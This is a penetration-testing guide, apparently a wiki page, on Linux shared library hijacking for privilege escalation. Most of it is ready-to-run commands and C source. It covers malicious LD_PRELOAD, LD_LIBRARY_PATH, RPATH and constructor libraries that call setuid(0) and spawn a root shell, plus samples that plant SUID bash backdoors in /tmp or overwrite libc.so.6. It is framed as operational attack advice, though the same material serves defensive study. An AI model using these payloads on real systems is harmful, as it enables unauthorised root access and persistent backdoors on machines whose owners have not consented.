Shared library hijacking
Shared Library Hijacking
What Makes Shared Library Hijacking Dangerous
Shared library hijacking exploits the dynamic library loading mechanism in Linux systems to execute malicious code with elevated privileges. By manipulating library search paths or replacing legitimate libraries with malicious ones, attackers can intercept function calls and execute arbitrary code when privileged programs load these libraries.
The Attack Principle: Exploit scenarios where:
Programs load shared libraries from user-controllable locations
Library search paths include writable directories
Environment variables control library loading behavior
SUID/SGID binaries can be forced to load malicious libraries
Library dependencies can be replaced or intercepted
Why This Works: Linux uses a specific order to search for shared libraries. If an attacker can place a malicious library in a location that's searched before the legitimate one, their code will be executed with the privileges of the calling program.
Library Loading Discovery and Enumeration
Library Search Path Analysis
Library Path Discovery:
# Check library search configuration
cat /etc/ld.so.conf
cat /etc/ld.so.conf.d/*
# View library cache
ldconfig -p | head -20
# Check library search order
ld --verbose | grep SEARCH_DIR
# Display runtime library search paths
echo $LD_LIBRARY_PATH
Binary Library Dependencies:
# Check library dependencies for SUID binaries
find / -perm -4000 -exec ldd {} \; 2>/dev/null
# Analyze specific binary dependencies
ldd /usr/bin/suid_binary
# Check for missing libraries
ldd /usr/bin/suid_binary | grep "not found"
# Detailed library loading information
LD_DEBUG=libs ldd /usr/bin/suid_binary
Writable Library Directories:
# Find writable directories in library search path
for dir in $(ldconfig -p | awk '{print $4}' | sort -u | xargs dirname | sort -u); do
[ -w "$dir" ] && echo "Writable: $dir"
done
# Check common library directories
ls -la /usr/lib /usr/local/lib /lib
find /usr/local/lib -writable 2>/dev/null
High-Value Library Hijacking Techniques
LD_PRELOAD Exploitation
Why LD_PRELOAD is Critical: Forces programs to load specified libraries before all others, allowing complete function interception.
Basic LD_PRELOAD Hijacking:
# Create malicious shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}' > /tmp/preload.c
# Compile malicious library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
# Execute SUID binary with LD_PRELOAD
LD_PRELOAD=/tmp/preload.so /usr/bin/suid_binary
Function Hijacking with LD_PRELOAD:
# Hijack specific functions (e.g., printf)
echo '#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <stdlib.h>
int printf(const char *format, ...) {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}' > /tmp/printf_hijack.c
gcc -fPIC -shared -o /tmp/printf_hijack.so /tmp/printf_hijack.c
LD_PRELOAD=/tmp/printf_hijack.so /usr/bin/vulnerable_binary
LD_LIBRARY_PATH Exploitation
Library Path Hijacking:
# Create directory structure mimicking system libraries
mkdir -p /tmp/lib_hijack/lib/x86_64-linux-gnu
# Create malicious library with same name as legitimate one
echo '#include <stdio.h>
#include <stdlib.h>
void __libc_start_main() {
system("/bin/bash");
}' > /tmp/lib_hijack/fake_libc.c
gcc -fPIC -shared -o /tmp/lib_hijack/lib/x86_64-linux-gnu/libc.so.6 /tmp/lib_hijack/fake_libc.c
# Set library path and execute
export LD_LIBRARY_PATH=/tmp/lib_hijack/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
/usr/bin/suid_binary
Missing Library Exploitation:
# If binary has missing library dependency
ldd /usr/bin/vulnerable_binary | grep "not found"
# => libcustom.so.1 => not found
# Create malicious library with missing name
echo 'void _init() { system("/bin/bash"); }' > /tmp/libcustom.c
gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles
# Place in library search path
cp /tmp/libcustom.so.1 /usr/local/lib/
ldconfig
# Execute binary - will load our malicious library
/usr/bin/vulnerable_binary
Library Replacement
Direct Library Replacement:
# Find writable library directories
find /usr/local/lib -type f -name "*.so*" -writable 2>/dev/null
# Backup and replace legitimate library
cp /usr/local/lib/legitimate.so /usr/local/lib/legitimate.so.bak
# Create malicious replacement
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
// Function to load original library and call original function
int original_function(int arg) {
void *handle = dlopen("/usr/local/lib/legitimate.so.bak", RTLD_LAZY);
int (*orig_func)(int) = dlsym(handle, "original_function");
// Execute malicious code
system("cp /bin/bash /tmp/lib_backdoor; chmod 4755 /tmp/lib_backdoor");
// Call original function
return orig_func(arg);
}' > /tmp/replacement.c
gcc -fPIC -shared -o /usr/local/lib/legitimate.so /tmp/replacement.c -ldl
Advanced Library Hijacking
RPATH/RUNPATH Exploitation
RPATH Analysis:
# Check for RPATH/RUNPATH in binaries
objdump -x /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"
readelf -d /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"
# If RPATH points to writable directory
objdump -x /usr/bin/binary | grep RPATH
# RPATH: /opt/app/lib
# Check if RPATH directory is writable
ls -la /opt/app/lib
RPATH Exploitation:
# Create malicious library in RPATH directory
echo 'void _init() {
setuid(0);
system("/bin/bash");
}' > /tmp/malicious.c
gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/malicious.c
# Binary will load from RPATH directory first
/usr/bin/vulnerable_binary
Library Symbol Interposition
Symbol Hijacking:
# Identify symbols used by target binary
nm -D /usr/bin/target_binary | grep " U "
objdump -T /usr/bin/target_binary
# Create library that exports hijacked symbols
echo '#include <stdio.h>
#include <stdlib.h>
// Hijack malloc function
void* malloc(size_t size) {
static int executed = 0;
if (!executed) {
executed = 1;
system("/bin/bash");
}
// Call original malloc through dlsym
void* (*original_malloc)(size_t) = dlsym(RTLD_NEXT, "malloc");
return original_malloc(size);
}' > /tmp/symbol_hijack.c
gcc -fPIC -shared -o /tmp/symbol_hijack.so /tmp/symbol_hijack.c -ldl
LD_PRELOAD=/tmp/symbol_hijack.so /usr/bin/target_binary
Library Constructor Abuse
Constructor Function Exploitation:
# Create library with constructor that executes before main()
echo '#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void before_main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
// Dummy function to make it a valid library
void dummy_function() {
printf("Library loaded\n");
}' > /tmp/constructor.c
gcc -fPIC -shared -o /tmp/constructor.so /tmp/constructor.c
# Library constructor executes when loaded
LD_PRELOAD=/tmp/constructor.so /usr/bin/any_binary
SUID Binary Library Exploitation
SUID Library Hijacking
SUID Binary Analysis:
# Find SUID binaries with library dependencies
find / -perm -4000 -exec ldd {} \; 2>/dev/null | grep -B1 -A5 "not found"
# Check if SUID binary accepts LD_PRELOAD
LD_PRELOAD=/dev/null /usr/bin/suid_binary 2>&1
# Test library loading behavior
strace -e open,openat /usr/bin/suid_binary 2>&1 | grep "\.so"
Exploiting SUID with Custom Libraries:
# If SUID binary loads libraries from writable location
# Example: Custom SUID application in /opt/
find /opt -perm -4000 -exec ldd {} \; 2>/dev/null
# Create malicious library in application's library path
echo 'void _init() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", (char *)NULL);
}' > /tmp/suid_exploit.c
gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/suid_exploit.c
# Execute SUID binary
/opt/app/suid_application
Real-World Library Hijacking Examples
Example 1: LD_PRELOAD SUID Bypass
Discovery:
# Found SUID binary that doesn't strip LD_PRELOAD
find /usr/local/bin -perm -4000 -exec {} --help \; 2>&1 | grep -B2 -A2 "environment"
Exploitation:
# Create shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}' > /tmp/exploit.c
gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
# Execute with LD_PRELOAD
LD_PRELOAD=/tmp/exploit.so /usr/local/bin/custom_suid
# Verify privilege escalation
id
# uid=0(root) gid=0(root)
Example 2: Missing Library Dependency
Discovery:
# Found binary with missing library
ldd /opt/application/binary
# libcustom.so.1 => not found
Exploitation:
# Create malicious library with missing name
echo '#include <stdio.h>
#include <stdlib.h>
void _init() {
system("cp /bin/bash /tmp/missing_lib_backdoor");
system("chmod 4755 /tmp/missing_lib_backdoor");
}
// Export any symbols the binary might expect
void custom_function() {
printf("Custom function called\n");
}' > /tmp/libcustom.c
gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles
# Place in library search path
sudo cp /tmp/libcustom.so.1 /usr/local/lib/
sudo ldconfig
# Execute binary
/opt/application/binary
# Use created backdoor
/tmp/missing_lib_backdoor -p
Example 3: Writable Library Directory
Discovery:
# Found writable library directory in search path
ldconfig -p | grep "/usr/local/lib"
ls -la /usr/local/lib
# drwxrwxrwx 2 root root 4096 Dec 25 12:00 /usr/local/lib
Exploitation:
# Check what libraries programs load from this directory
ldd /usr/bin/* 2>/dev/null | grep "/usr/local/lib" | head -5
# Create malicious version of commonly used library
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int puts(const char *s) {
static int executed = 0;
if (!executed) {
executed = 1;
system("cp /bin/bash /tmp/lib_hijack_backdoor; chmod 4755 /tmp/lib_hijack_backdoor");
}
// Call original puts
int (*orig_puts)(const char *) = dlsym(RTLD_NEXT, "puts");
return orig_puts(s);
}' > /tmp/libc_fake.c
gcc -fPIC -shared -o /usr/local/lib/libc.so.6 /tmp/libc_fake.c -ldl
# Wait for any program to use puts function
# Access backdoor when created
/tmp/lib_hijack_backdoor -p
Key Operational Considerations
Success Indicators
LD_PRELOAD accepted by SUID/SGID binaries
Writable library directories found in search path
Missing library dependencies identified in binaries
RPATH/RUNPATH pointing to writable directories
Privilege escalation achieved through library loading
Common Failure Points
LD_PRELOAD stripped by security-aware SUID binaries
Library directories have proper permissions
Modern protections prevent library hijacking
AppArmor/SELinux blocking library loading
Library path restrictions in secure environments
Exploitation Notes
Custom applications more likely to have vulnerable library loading
Development environments often have relaxed library security
LD_PRELOAD most reliable when accepted by SUID binaries
Missing dependencies provide excellent attack opportunities
Shared library hijacking remains a powerful privilege escalation technique, particularly effective against custom applications and in environments where library loading security is not strictly controlled.
Last updated
Was this helpful?